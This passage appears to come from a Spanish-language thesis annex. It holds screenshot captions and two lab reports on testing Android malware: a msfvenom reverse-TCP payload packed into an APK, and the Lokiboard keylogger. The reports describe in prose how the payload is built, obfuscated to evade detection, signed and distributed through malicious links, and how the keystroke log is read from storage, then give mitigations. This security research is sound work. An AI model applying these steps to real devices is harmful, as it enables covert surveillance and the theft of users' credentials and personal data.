3/8/23 - (1)

com.android.systemui
4/11/24 - (0)

cc .

1L Buscar Mas

Imagen 139: Package de Lokiboard — com.abifog.lokiboard
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16. Se halla en el archivo de almacenamiento lo tecleado por el usuario.

Solo emergencia OK/s 3@ =, 081 % @) 11:55

< lokiboard_files_29_11_2024.txt

PRueba

Imagen 140: Captura exitosamente
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17. Se procede a ejercer un envio6 de informacion a un persona X para conocer que informacion

se almacena en el archivo txt

Solo emergencia 116 B/s 3@ =, 081 % [# ) 11:56

<~ Mensaje nuevo

JR2 2

@) Hola aqui es uba prueba mas @ =

13271

Imagen 141: Prueba dos — sms a otro usuario
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18. Se observa que guardar informacion relevante precisamente que cualquier atacante
informatico puede indagar a través de una persistencia o con el simple hecho de indagar los
packages de las aplicaciones.

Solo emergencia OK/s B& =079 % # ) 11:59

< lokiboard_files_29_11_2024.txt

PRuebaHoka[DEL][DEL]la aqyi[DEL][DEL]Jui es ub
[DEL][DEL][DEL][DEL][DEL][DEL][DEL][DEL][DEL]
[DEL][DEL]09876556Camos[DEL][DEL][DEL][DEL][D

Imagen 142: Captura exitosamente en varias situaciones
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ANEXO #6
FASE V: REPORTE
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REPORTE#1: ANALISIS Y RESULTADO DE PRUEBA.APK — PERSISTENCIA

Andlisis de Malware Rat de la Aplicacion Prueba Apk

REPORTE DE EVALUACION DE VULNERABILIDADES EN DISPOSITIVO ANDROID

DATOS DEL EXPERIMENTO

TITULO DEL Malware Virus — REALIZO POR: Arelys Chancay
EXPERIMENTO: Prueba.apk
NO. PRUEBA: 01 FECHA INICIO 21/10/2024
TIPO DE PRUEBA: Explotacion FECHA FIN: 10/11/2024

DETALLES DEL EXPERIMENTO

OBJETIVO DEL Elevar privilegios para FASE: Pruebas de Escenarios
EXPERIMENTO evadir seguridad vy
encontrar activos
informaticos
NIVEL DE Media TIEMPO 3 semanas
COMPLEJIDAD EJECUCION
PRUEBA:
VULNERABILIDAD Reverse TCP TECNICA Desarrollo de malware
A HACKING
EXPLOTAR
HERRAMIENTAS APLICADAS
HARDWARE Android — Mévil VIRTUALIZACION Kali Linux
SOFTWARE Msfvenom. REDES Adaptador Puente , Red
Msfconsole Movil

EVALUACION DE NIVEL DE SEGURIDAD

e Andlisis de Riesgos: El dispositivo Android presenta vulnerabilidades significativas que
permiten la ejecucién de un payload malicioso, lo que compromete la privacidad y seguridad

del usuario.

e Impacto de la Vulnerabilidad: La explotacion de la vulnerabilidad Reverse_TCP en
combinacion con la técnica de desarrollo de malware puede dar acceso total al dispositivo, lo
que permite la exfiltracion de datos sensibles, como contactos, mensajes, imagenes y

grabaciones.

e Niveles de proteccion: Los sistemas de seguridad del dispositivo, como las restricciones de
acceso Y la verificacion de aplicaciones, no son suficientes para prevenir este tipo de ataques,
especialmente cuando el usuario permite la instalacion de aplicaciones de fuentes no

confiables.
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e Contramedidas aplicadas: El uso de herramientas de ofuscacion para evitar la deteccion del
malware puede hacer mas dificil la identificacion de la amenaza, aumentando la posibilidad de
éxito en el ataque.

e Recomendaciones de mitigacion: Es crucial que los dispositivos Android cuenten con
mecanismos de proteccion méas robustos, como sistemas de autenticacion de maltiples factores
y politicas de restriccion mas estrictas sobre la instalacion de aplicaciones de fuentes no
confiables.

DISENO EXPERIMENTO

PROCEDIMIENTOS:

e Utilizas msfvenom para generar un payload malicioso que ejecute una accion especifica en el
dispositivo Android.

o Compilas el payload en un archivo APK, integrando el c6digo malicioso dentro de la aplicacién.

e Siesnecesario, aplicas técnicas de ofuscacion para evitar que herramientas de seguridad detecten
el archivo APK como malicioso.

e Luego, firmas digitalmente el APK con un certificado, permitiendo que pueda ser instalado en
el dispositivo Android.

e Distribuyes el archivo APK a los usuarios, generalmente a través de enlaces maliciosos o
aplicaciones falsas.

e Elusuario instala el APK en su dispositivo, habilitando la opcién de instalar aplicaciones desde
fuentes desconocidas.

e Una vez instalado, el payload se ejecuta en segundo plano, dando al atacante acceso a los datos
del dispositivo o control sobre el mismo.

RESULTADOS ESPERADOS RESULTADOS OBTENIDOS

Lista de contactos
Lista de mensajes
Descargar imagines
Grabar audios

Romper seguridad del Android
e Acceder al dispositivo por console
Verificar carpetas y raiz de usuario

CONCLUSIONES

e El experimento confirma que los dispositivos Android son vulnerables a la explotacion mediante
payloads maliciosos, como el Reverse_ TCP, que permiten a un atacante obtener acceso completo
al dispositivo.

e Lafalta de medidas de seguridad adicionales en muchos dispositivos, como la falta de proteccion
contra la instalacion de aplicaciones de fuentes no verificadas, facilita la infeccion por malware.

e El ataque demuestra cémo los usuarios pueden estar expuestos a riesgos significativos, incluso
con un sistema operativo como Android, que, aunque robusto, sigue siendo susceptible a técnicas
avanzadas de hacking.

RECOMENDACIONES

e Educacion del usuario: Se recomienda que los usuarios de Android estén conscientes de los
riesgos asociados con la instalacion de aplicaciones desde fuentes desconocidas y desactiven esta
opcion cuando no sea necesario.

o Refuerzo de politicas de seguridad: Es importante que las empresas y organizaciones
implementen politicas de seguridad mas estrictas en dispositivos méviles, como el uso de
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soluciones de administracion de dispositivos méviles (MDM) y el control de aplicaciones
instaladas.
o Actualizaciones constantes: Asegurarse de que los dispositivos reciban actualizaciones
periddicas del sistema operativo y de las aplicaciones, para corregir vulnerabilidades conocidas.
e Uso de software de seguridad: Implementar soluciones de seguridad, como antivirus y
aplicaciones de proteccion contra malware, que puedan detectar e impedir la instalacion de
software malicioso en dispositivos moviles.

Tabla 7: Reporte de analisis y resultados — Prueba.apk

REPORTE#2: ANALISIS Y RESULTADO DE LOKIBOARD.APK - PERSISTENCIA

Andlisis De Malware Rat del Lokiboard Apk

REPORTE DE EVALUACION DE VULNERABILIDADES EN DISPOSITIVO ANDROID

DATOS DEL EXPERIMENTO

TITULO DEL Malware Virus — REALIZO POR: Arelys Chancay
EXPERIMENTO: Lokiboard.apk
NO. PRUEBA: 02 FECHA INICIO 11/11/2024
TIPO DE PRUEBA: Explotacion FECHA FIN: 27/11/2024

DETALLES DEL EXPERIMENTO

OBJETIVO DEL Elevar privilegios para FASE: Pruebas de Escenarios
EXPERIMENTO evadir seguridad vy
encontrar activos

informaticos

NIVEL DE Medio TIEMPO 2 semanas
COMPLEJIDAD EJECUCION
PRUEBA:
VULNERABILIDAD | Acceso no autorizado TECNICA Uso de malware tipo
A a entradas del teclado HACKING Keylogger (Lokiboard)
EXPLOTAR (keylogging)
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HERRAMIENTAS APLICADAS

HARDWARE Android — Movil VIRTUALIZACION Kali Linux
SOFTWARE Lokiboard Keyboard REDES Adaptador Puente , Red
Movil

EVALUACION DE NIVEL DE SEGURIDAD

Anédlisis de Riesgos: La instalacion de un teclado malicioso como Lokiboard permite al
atacante registrar las pulsaciones de teclas sin el conocimiento del usuario, lo que
expone a la victima a la fuga de informacion sensible como contrasefias y datos
personales.

Impacto de la Vulnerabilidad: La ejecucién del keylogger en segundo plano facilita el
acceso no autorizado a datos privados, lo que puede resultar en robo de credenciales,
acceso a cuentas bancarias y otros riesgos de privacidad.

Niveles de Proteccion: La seguridad del dispositivo no es suficiente para detectar este
tipo de malware si el usuario permite la instalacion de aplicaciones desde fuentes
desconocidas. Ademas, el malware se ejecuta en segundo plano y se oculta en las
configuraciones del sistema.

Contramedidas Aplicadas: EI malware se oculta en el sistema de entrada, lo que dificulta
la deteccion. Es necesario implementar medidas de proteccion como sistemas de
seguridad adicionales y la verificacion de permisos de aplicaciones para evitar esta
amenaza.

DISENO EXPERIMENTO

PROCEDIMIENTOS:

Compilacion del APK: El malware Lokiboard se compila utilizando el codigo fuente o
descargando un APK preconstruido.

Instalacion en el dispositivo: Se instala el APK en el dispositivo Android después de habilitar la
opcién de instalacion desde fuentes desconocidas.

Activacion del Keylogger: En el dispositivo, se abre la seccion de "ldioma y entrada” en la
configuracion del sistema y se habilita Lokiboard como el teclado predeterminado,
deshabilitando todos los demés métodos de entrada.

Acceso a los registros de pulsaciones: Una vez que el keylogger esta activo, las pulsaciones de
teclas se registran en un archivo dentro del almacenamiento interno del dispositivo (Ruta:
Internal Storage > Android > Data > com.abifog.lokiboard > files > lokiboard-files.txt).
Obtencidn de datos: El atacante puede acceder al archivo de registro de pulsaciones de teclas a
través de un administrador de archivos.

155




RESULTADOS ESPERADOS RESULTADOS OBTENIDOS

e Lista de pulsaciones de teclados
e Acceso a datos sensibles
e Archivos de registro

Captura de las pulsaciones de teclas
Acceso a informacidn sensible
Obtencidn de registros del
Keylogger

CONCLUSIONES

Confirmacion de la vulnerabilidad: La explotacidn de la vulnerabilidad de acceso a las entradas
de teclado a través de aplicaciones maliciosas como Lokiboard demuestra que los dispositivos
Android siguen siendo susceptibles a ataques de keylogging.

Eficiencia del malware: Lokiboard es efectivo para registrar pulsaciones de teclas sin ser
detectado, lo que implica una alta probabilidad de filtracion de datos sensibles.

Limitaciones de seguridad: La falta de restricciones mas estrictas en el sistema operativo, como
la verificacion de aplicaciones en segundo plano y el monitoreo de teclados predeterminados,
aumenta la vulnerabilidad del dispositivo.

RECOMENDACIONES

Educacion del usuario: Es fundamental educar a los usuarios sobre los peligros de instalar
aplicaciones de fuentes desconocidas y la importancia de verificar los permisos antes de permitir
la instalacion de cualquier aplicacion.

Refuerzo de seguridad del sistema operativo: Android debe implementar medidas de seguridad
adicionales, como deteccion de aplicaciones maliciosas que alteren el sistema de entrada, y
advertencias sobre cambios en los teclados predeterminados.

Control de permisos de aplicaciones: Se recomienda usar soluciones de seguridad que blogueen
aplicaciones de keylogging o que permitan el monitoreo de actividad de teclados para prevenir
la fuga de datos.

Actualizaciones y parches de seguridad: Mantener los dispositivos actualizados con las Gltimas
versiones de Android y parches de seguridad puede ayudar a mitigar vulnerabilidades conocidas.

Tabla 8: Reporte de analisis y resultados — Lokiboard_Keyboard.apk
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